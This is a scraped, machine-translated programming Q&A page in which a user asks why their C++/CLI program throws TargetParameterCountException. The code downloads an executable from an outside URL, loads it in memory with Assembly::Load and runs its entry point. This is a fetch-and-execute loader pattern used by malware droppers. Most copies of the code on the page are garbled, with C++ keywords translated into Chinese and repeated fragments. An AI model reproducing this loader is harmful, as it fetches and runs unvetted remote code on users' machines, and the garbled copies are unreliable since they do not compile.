DownloadData->ToString()); ThreadExample::bytes=c->下载数据; 执行(); 控制台::ReadLine(); 返回0; },parameters,c++-cli,webclient,Parameters,C++ Cli,Webclient" /> DownloadData->ToString()); ThreadExample::bytes=c->下载数据; 执行(); 控制台::ReadLine(); 返回0; },parameters,c++-cli,webclient,Parameters,C++ Cli,Webclient" />

Parameters c++;方法调用参数错误 使用名称空间系统; 使用名称空间系统::线程; 使用名称空间系统::反射; 使用名称空间System::Net; 公共ref类线程示例 { 公众: 静态数组^字节; 静态void DoExecute() { 如果(字节[0x3C]==0x80) { 数组^字节; 程序集^asm\u重命名=程序集::加载(字节); MethodInfo^entryPoint=asm\u重命名->入口点; //数组^temp0=nullptr; 数组^_s=gcnew数组{“P1”,“pw2”}; 尝试 { 入口点->调用(nullptr,s); } catch(ArgumentException ^str) { 控制台:WriteLine(str); } 捕获(TargetParameterCountException ^str2) { 控制台::WriteLine(str2); } } } }; void Execute() { 控制台::WriteLine(L“Test!”); 线程^t=gcnew-Thread(gcnew-ThreadStart(&ThreadExample::DoExecute)); t->TrySetApartmentState(ApartmentState::STA); t->Start(); } int main(数组^args) { 控制台::WriteLine(L“Hello World”); WebClient ^c=gcnew WebClient(); 字符串^s=”http://www.themarv.eu/psc/test.exe"; 控制台::WriteLine(c->DownloadData->ToString()); ThreadExample::bytes=c->下载数据; 执行(); 控制台::ReadLine(); 返回0; }

Parameters c++;方法调用参数错误 使用名称空间系统; 使用名称空间系统::线程; 使用名称空间系统::反射; 使用名称空间System::Net; 公共ref类线程示例 { 公众: 静态数组^字节; 静态void DoExecute() { 如果(字节[0x3C]==0x80) { 数组^字节; 程序集^asm\u重命名=程序集::加载(字节); MethodInfo^entryPoint=asm\u重命名->入口点; //数组^temp0=nullptr; 数组^_s=gcnew数组{“P1”,“pw2”}; 尝试 { 入口点->调用(nullptr,s); } catch(ArgumentException ^str) { 控制台:WriteLine(str); } 捕获(TargetParameterCountException ^str2) { 控制台::WriteLine(str2); } } } }; void Execute() { 控制台::WriteLine(L“Test!”); 线程^t=gcnew-Thread(gcnew-ThreadStart(&ThreadExample::DoExecute)); t->TrySetApartmentState(ApartmentState::STA); t->Start(); } int main(数组^args) { 控制台::WriteLine(L“Hello World”); WebClient ^c=gcnew WebClient(); 字符串^s=”http://www.themarv.eu/psc/test.exe"; 控制台::WriteLine(c->DownloadData->ToString()); ThreadExample::bytes=c->下载数据; 执行(); 控制台::ReadLine(); 返回0; },parameters,c++-cli,webclient,Parameters,C++ Cli,Webclient,这是我的密码 我总是收到System.Reflection.TargetParameterCountException错误 有人能帮我吗,也许我启动程序时没有参数? 如果我只是输入一个字符串作为参数,我不能启动它,因为AgMUMutExtExtring错误弹出了,不是C++,请适当地标记问题,它不是本机C++,我不知道VisualStudio中C++的名称是什么?VisualStudio支持C++,然后支持3或4个基于C++的托管语言。 using namespace System; using

这是我的密码 我总是收到System.Reflection.TargetParameterCountException错误

有人能帮我吗,也许我启动程序时没有参数?
如果我只是输入一个字符串作为参数,我不能启动它,因为AgMUMutExtExtring错误弹出了

,不是C++,请适当地标记问题,它不是本机C++,我不知道VisualStudio中C++的名称是什么?VisualStudio支持C++,然后支持3或4个基于C++的托管语言。
using namespace System;
using namespace System::Threading;
using namespace System::Reflection;
using namespace System::Net;
public ref class ThreadExample
{
public:
static array<Byte>^bytes;
static void DoExecute()
{
    if (bytes[0x3C] == 0x80)
    {
        array<Byte>^ _bytes;
        Assembly^ asm_Renamed = Assembly::Load(bytes);
        MethodInfo ^entryPoint = asm_Renamed->EntryPoint;
        //array<Object^> ^temp0 = nullptr;
        array<System::String ^>^ _s = gcnew array<System::String ^> {"P1", "pw2"};
        try
        {
            entryPoint->Invoke(nullptr, _s);
        }
        catch(ArgumentException^ str)
        {
            Console::WriteLine(str);
        }
        catch(TargetParameterCountException^ str2)
        {
            Console::WriteLine(str2);
        }
    }
}
};
void Execute()
{
Console::WriteLine(L"Test!");
Thread^ t = gcnew Thread( gcnew ThreadStart( &ThreadExample::DoExecute ) );
t->TrySetApartmentState(ApartmentState::STA);
t->Start();
}
int main(array<System::String ^> ^args)
{
Console::WriteLine(L"Hello World");
WebClient^ c = gcnew WebClient();
String^ s = "http://www.themarv.eu/psc/test.exe";
Console::WriteLine(c->DownloadData(s)->ToString());
ThreadExample::bytes = c->DownloadData(s);
Execute();

Console::ReadLine();
return 0;
}